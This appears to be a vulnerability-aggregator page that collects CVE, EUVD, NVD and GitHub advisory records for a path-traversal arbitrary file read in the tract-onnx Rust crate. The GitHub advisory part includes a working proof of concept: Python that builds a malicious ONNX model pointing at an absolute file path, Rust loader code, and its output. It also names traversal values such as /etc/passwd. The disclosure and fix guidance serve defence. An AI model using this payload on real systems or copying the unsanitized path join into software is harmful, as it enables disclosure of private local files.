Tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-55832
PublishedTract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loading an untrusted model through model_for_path can therefore make onnx/src/data_resolver.rs MmapDataResolver open an arbitrary local file and place the file contents into model tensors or inference output. Attacker-controlled offset and length fields can also select an out-of-range mapping slice and cause a denial of service, but the flaw does not write files or execute code. This issue is fixed in versions 0.21.17, 0.22.3, and 0.23.2.
- Source published
- 14 Sep 2026 17:57:41 UTC
- Source modified
- 14 Sep 2026 18:12:59 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
euvd · EUVD-2026-77721
PublishedTract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loading an untrusted model through model_for_path can therefore make onnx/src/data_resolver.rs MmapDataResolver open an arbitrary local file and place the file contents into model tensors or inference output. Attacker-controlled offset and length fields can also select an out-of-range mapping slice and cause a denial of service, but the flaw does not write files or execute code. This issue is fixed in versions 0.21.17, 0.22.3, and 0.23.2.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 14, 2026, 5:57:41 PM
dateUpdated: Sep 14, 2026, 6:12:59 PM
- Source published
- Sep 14, 2026, 5:57:41 PM (timezone not stated)
- Source modified
- Sep 14, 2026, 6:12:59 PM (timezone not stated)
- Observed here
- 11 Nov 2026 14:04:52 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
nvd · CVE-2026-55832
PublishedTract is a tiny, no-nonsense, self-contained TensorFlow and ONNX inference toolkit. Prior to 0.21.17, 0.22.3, and 0.23.2, the tract-onnx crate passes the attacker-controlled external_data location from an ONNX model through onnx/src/tensor.rs get_external_resources and joins the value to the model directory without rejecting absolute paths or parent directory components. Loading an untrusted model through model_for_path can therefore make onnx/src/data_resolver.rs MmapDataResolver open an arbitrary local file and place the file contents into model tensors or inference output. Attacker-controlled offset and length fields can also select an out-of-range mapping slice and cause a denial of service, but the flaw does not write files or execute code. This issue is fixed in versions 0.21.17, 0.22.3, and 0.23.2.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-22
Original publisher date fields
published: 2026-09-14T18:17:55.663
lastModified: 2026-09-30T19:57:08.043
- Source published
- 14 Sep 2026 18:17:55 UTC
- Source modified
- 30 Sep 2026 19:57:08 UTC
- Observed here
- 25 Oct 2026 14:19:05 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
osv · GHSA-h668-6x6g-f8r5
Published### Summary `tract` (the `tract-onnx` crate) resolves an ONNX tensor's external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened. ### Details In `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks: ```rust let location = /* tensor.external_data "location" value — attacker-controlled */; let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default ``` - `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory → `p = /etc/passwd`. - A **relative** `../../../../etc/passwd` value is not normalized → directory traversal. - The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS). No `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`). Reachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` → `get_external_resources(.., model_dir)`. ### PoC Tested on `tract-onnx 0.21.16` (crates.io), Rust 1.96. 1. A canary file the model must not be able to read: `/tmp/tract_canary_secret.txt` → `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b` 2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization): ```python import onnx from onnx import helper, TensorProto, StringStringEntryProto N = 37; LOC = "/tmp/tract_canary_secret.txt" # absolute -> Path::join discards the base dir w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8 w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]: e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e) node = helper.make_node("Identity", ["W"], ["Y"]) out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N]) g = helper.make_graph([node], "g", [], [out], initializer=[w]) m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)]) open("evil.onnx", "wb").write(m.SerializeToString()) ``` 3. Victim loads the untrusted model with the standard API: ```rust let model = tract_onnx::onnx().model_for_path("evil.onnx")?; let out = model.into_optimized()?.into_runnable()?.run(tvec!())?; let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect(); println!("{:?}", String::from_utf8_lossy(&bytes)); ``` Output: ``` "TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b" ``` i.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output. ### Impact Read-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution. ### Suggested fix Reject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0's `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.
- Source published
- 19 Jun 2026 14:45:43 UTC
- Source modified
- 10 Sep 2026 03:50:49 UTC
- Observed here
- 24 Oct 2026 13:19:54 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
Publisher rating · MODERATE